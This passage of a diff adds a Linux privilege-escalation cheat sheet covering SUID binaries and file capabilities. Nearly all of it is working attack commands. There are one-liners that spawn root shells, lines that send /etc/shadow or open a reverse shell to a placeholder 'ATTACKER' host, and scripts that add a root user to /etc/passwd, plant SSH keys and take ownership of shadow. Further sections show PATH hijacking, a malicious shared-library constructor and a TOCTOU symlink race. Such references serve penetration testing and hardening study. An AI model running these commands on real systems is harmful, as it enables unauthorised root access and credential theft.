+ | 22 | `dd` | `dd if=/etc/shadow of=/tmp/shadow` | Raw file copy |
47
+
48
+ ### 1.4 Execution / Utility
49
+
50
+ | # | Binary | Exploit Command | Notes |
51
+ |---|---|---|---|
52
+ | 23 | `find` | `find . -exec /bin/sh -p \; -quit` | Classic GTFOBins |
53
+ | 24 | `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` | — |
54
+ | 25 | `env` | `env /bin/sh -p` | — |
55
+ | 26 | `nmap` | Old: `nmap --interactive` → `!sh`; New: `nmap --script=<(echo 'os.execute("/bin/sh")')` | `--interactive` removed in 5.21+ |
56
+ | 27 | `strace` | `strace -o /dev/null /bin/sh -p` | Trace = execute |
57
+ | 28 | `ltrace` | `ltrace -b -L /bin/sh -p` | Same concept |
58
+ | 29 | `taskset` | `taskset 1 /bin/sh -p` | CPU affinity wrapper = execute |
59
+ | 30 | `time` | `time /bin/sh -p` | Timing wrapper |
60
+
61
+ ### 1.5 Network Binaries with SUID
62
+
63
+ | Binary | Exploit | Notes |
64
+ |---|---|---|
65
+ | `wget` | `wget --post-file=/etc/shadow http://ATTACKER/` | Exfiltrate; or `wget -O /etc/cron.d/rev http://ATTACKER/cron` |
66
+ | `curl` | `curl file:///etc/shadow`; `curl -o /etc/cron.d/rev http://ATTACKER/cron` | Read/write files |
67
+ | `socat` | `socat stdin exec:/bin/sh,pty,stderr,setsid,sigint,sane` | Full TTY root shell |
68
+ | `nc` / `ncat` | Bind/reverse shell as root | `nc -e /bin/sh ATTACKER PORT` |
69
+
70
+ ---
71
+
72
+ ## 2. CAPABILITY-SPECIFIC EXPLOITATION
73
+
74
+ ### 2.1 cap_setuid (Most Dangerous)
75
+
76
+ Any binary with this capability can change its UID to 0.
77
+
78
+ ```bash
79
+ # Python
80
+ /usr/bin/python3 = cap_setuid+ep
81
+ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
82
+
83
+ # Perl
84
+ /usr/bin/perl = cap_setuid+ep
85
+ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
86
+
87
+ # PHP
88
+ /usr/bin/php = cap_setuid+ep
89
+ php -r 'posix_setuid(0); system("/bin/bash");'
90
+
91
+ # Ruby
92
+ /usr/bin/ruby = cap_setuid+ep
93
+ ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
94
+
95
+ # Node.js
96
+ /usr/bin/node = cap_setuid+ep
97
+ node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
98
+ ```
99
+
100
+ ### 2.2 cap_dac_override (Bypass File Permissions)
101
+
102
+ Can read/write ANY file regardless of ownership/permissions.
103
+
104
+ ```bash
105
+ # If vim has cap_dac_override:
106
+ vim /etc/shadow # Read and edit shadow file
107
+ vim /etc/passwd # Add root-level user
108
+ vim /root/.ssh/authorized_keys # Plant SSH key
109
+
110
+ # If python has cap_dac_override:
111
+ python3 -c '
112
+ f = open("/etc/shadow"); print(f.read())
113
+ '
114
+ # Or write:
115
+ python3 -c '
116
+ with open("/etc/passwd","a") as f:
117
+ f.write("hacker:$1$xyz$hash:0:0::/root:/bin/bash\n")
118
+ '
119
+ ```
120
+
121
+ ### 2.3 cap_dac_read_search (Read Any File)
122
+
123
+ ```bash
124
+ # If tar has cap_dac_read_search:
125
+ tar czf /tmp/shadow.tar.gz /etc/shadow
126
+ tar xzf /tmp/shadow.tar.gz -C /tmp/
127
+
128
+ # If base64 has it:
129
+ base64 /etc/shadow | base64 -d
130
+ ```
131
+
132
+ ### 2.4 cap_sys_admin (Mount, BPF, Namespaces)
133
+
134
+ ```bash
135
+ # Mount host filesystem (in a container context)
136
+ mkdir /mnt/host
137
+ mount /dev/sda1 /mnt/host
138
+ # Full host access
139
+
140
+ # Abuse via unshare (create user namespace, remap UID)
141
+ unshare -r /bin/bash
142
+ # Now root inside the namespace
143
+ ```
144
+
145
+ ### 2.5 cap_sys_ptrace (Process Injection)
146
+
147
+ ```bash
148
+ # Inject into a root process
149
+ python3 << 'PYEOF'
150
+ import ctypes, sys
151
+
152
+ libc = ctypes.CDLL("libc.so.6")
153
+ PTRACE_ATTACH = 16
154
+ PTRACE_POKETEXT = 4
155
+ PTRACE_DETACH = 17
156
+
157
+ pid = int(sys.argv[1]) # PID of root process
158
+ libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
159
+ # ... inject shellcode into process memory ...
160
+ PYEOF
161
+
162
+ # Simpler: use gdb if available
163
+ gdb -p <root_pid> -batch -ex 'call system("chmod +s /bin/bash")'
164
+ ```
165
+
166
+ ### 2.6 cap_net_raw (Network Sniffing)
167
+
168
+ ```bash
169
+ # If tcpdump has cap_net_raw:
170
+ tcpdump -i eth0 -w /tmp/capture.pcap -c 1000
171
+
172
+ # If python has cap_net_raw:
173
+ # Use scapy to sniff credentials
174
+ python3 -c '
175
+ from scapy.all import *
176
+ sniff(filter="tcp port 80", prn=lambda p: p.show(), count=50)
177
+ '
178
+ ```
179
+
180
+ ### 2.7 cap_fowner (Change File Ownership)
181
+
182
+ ```bash
183
+ # Change ownership of /etc/shadow to current user
184
+ python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
185
+ # Now read/modify shadow as normal user
186
+ ```
187
+
188
+ ### 2.8 cap_chown (Change Ownership of Any File)
189
+
190
+ ```bash
191
+ # Similar to cap_fowner — take ownership of sensitive files
192
+ chown $(id -u):$(id -g) /etc/shadow
193
+ ```
194
+
195
+ ---
196
+
197
+ ## 3. CUSTOM SUID BINARY EXPLOITATION
198
+
199
+ ### 3.1 Methodology
200
+
201
+ ```
202
+ Custom SUID binary found?
203
+
204
+ ├── 1. Identify the binary type
205
+ │ ├── file /path/to/binary → ELF? script wrapper?
206
+ │ └── strings /path/to/binary → find hardcoded paths, commands
207
+
208
+ ├── 2. Analyze behavior
209
+ │ ├── strace /path/to/binary 2>&1 → syscalls (open, exec, access)
210
+ │ ├── ltrace /path/to/binary 2>&1 → library calls (system, popen)
211
+ │ └── Run with various inputs → observe behavior
212
+
213
+ ├── 3. Find injection vectors
214
+ │ ├── Calls system()/popen() with user input? → command injection
215
+ │ ├── Opens files from PATH? → PATH hijack
216
+ │ ├── Loads shared libs from writable dir? → lib hijack
217
+ │ ├── Reads config from writable location? → config poisoning
218
+ │ └── Uses relative paths for commands? → PATH hijack
219
+
220
+ └── 4. Exploit
221
+ ├── PATH hijack: export PATH=/tmp:$PATH; create /tmp/<command>
222
+ ├── Lib hijack: place evil .so in writable RPATH/RUNPATH
223
+ ├── Command injection: inject shell metacharacters
224
+ └── Race condition: TOCTOU on checked files
225
+ ```
226
+
227
+ ### 3.2 PATH Hijacking Example
228
+
229
+ ```bash
230
+ # Binary runs "service apache2 restart" (relative path)
231
+ strings /usr/local/bin/suid_binary | grep service
232
+
233
+ # Create malicious "service" in PATH
234
+ echo '#!/bin/bash' > /tmp/service
235
+ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /tmp/service
236
+ chmod +x /tmp/service
237
+ export PATH=/tmp:$PATH
238
+
239
+ # Execute the SUID binary
240
+ /usr/local/bin/suid_binary
241
+ # → /tmp/bash -p
242
+ ```
243
+
244
+ ### 3.3 Shared Library Hijacking via RPATH/RUNPATH
245
+
246
+ ```bash
247
+ # Check RPATH/RUNPATH
248
+ readelf -d /usr/local/bin/suid_binary | grep -i path
249
+ # RUNPATH: /home/user/lib
250
+
251
+ # Check what libraries it needs
252
+ ldd /usr/local/bin/suid_binary
253
+ # libcustom.so => not found
254
+
255
+ # Create malicious library
256
+ cat > /tmp/evil.c << 'EOF'
257
+ #include <stdlib.h>
258
+ #include <unistd.h>
259
+ static void pwn() __attribute__((constructor));
260
+ void pwn() {
261
+ setuid(0); setgid(0);
262
+ system("/bin/bash -p");
263
+ }
264
+ EOF
265
+ gcc -shared -fPIC -o /home/user/lib/libcustom.so /tmp/evil.c
266
+
267
+ # Run the SUID binary → root shell
268
+ ```
269
+
270
+ ### 3.4 TOCTOU Race Condition
271
+
272
+ ```bash
273
+ # If SUID binary checks file permission then reads it:
274
+ # access("/tmp/userfile", R_OK) → open("/tmp/userfile")
275
+
276
+ # Race: swap file between check and open
277
+ while true; do
278
+ ln -sf /home/user/allowed.txt /tmp/userfile
279
+ ln -sf /etc/shadow /tmp/userfile
280
+ done &
281
+
282
+ # Repeatedly run the SUID binary
283
+ while true; do
284
+ /usr/local/bin/suid_binary /tmp/userfile 2>/dev/null | grep root && break
285
+ done
286
+ ```
287
+
288
+ ---
289
+
290
+ ## 4. QUICK-REFERENCE: CAPABILITIES → EXPLOITATION
291
+
292
+ | Capability | Attack Type | Impact |
293
+ |---|---|---|
294
+ | `cap_setuid+ep` | Direct UID change | **Root shell** |
295
+ | `cap_setgid+ep` | Direct GID change | **Root group** |
296
+ | `cap_dac_override+ep` | Read/write any file | **Shadow/passwd edit** |
297
+ | `cap_dac_read_search+ep` | Read any file | **Credential dump** |
298
+ | `cap_sys_admin+ep` | Mount, BPF, namespace | **Host filesystem** |
299
+ | `cap_sys_ptrace+ep` | Process injection | **Root process hijack** |
300
+ | `cap_sys_module+ep` | Load kernel modules | **Kernel rootkit** |
301
+ | `cap_net_raw+ep` | Raw sockets | **Credential sniffing** |
302
+ | `cap_fowner+ep` | Change file ownership | **Shadow ownership** |
303
+ | `cap_chown+ep` | Change any ownership | **Same as fowner** |
304
+ | `cap_kill+ep` | Signal any process | **DoS / race conditions** |
305
+ | `cap_net_bind_service+ep` | Bind port <1024 | **Service impersonation** |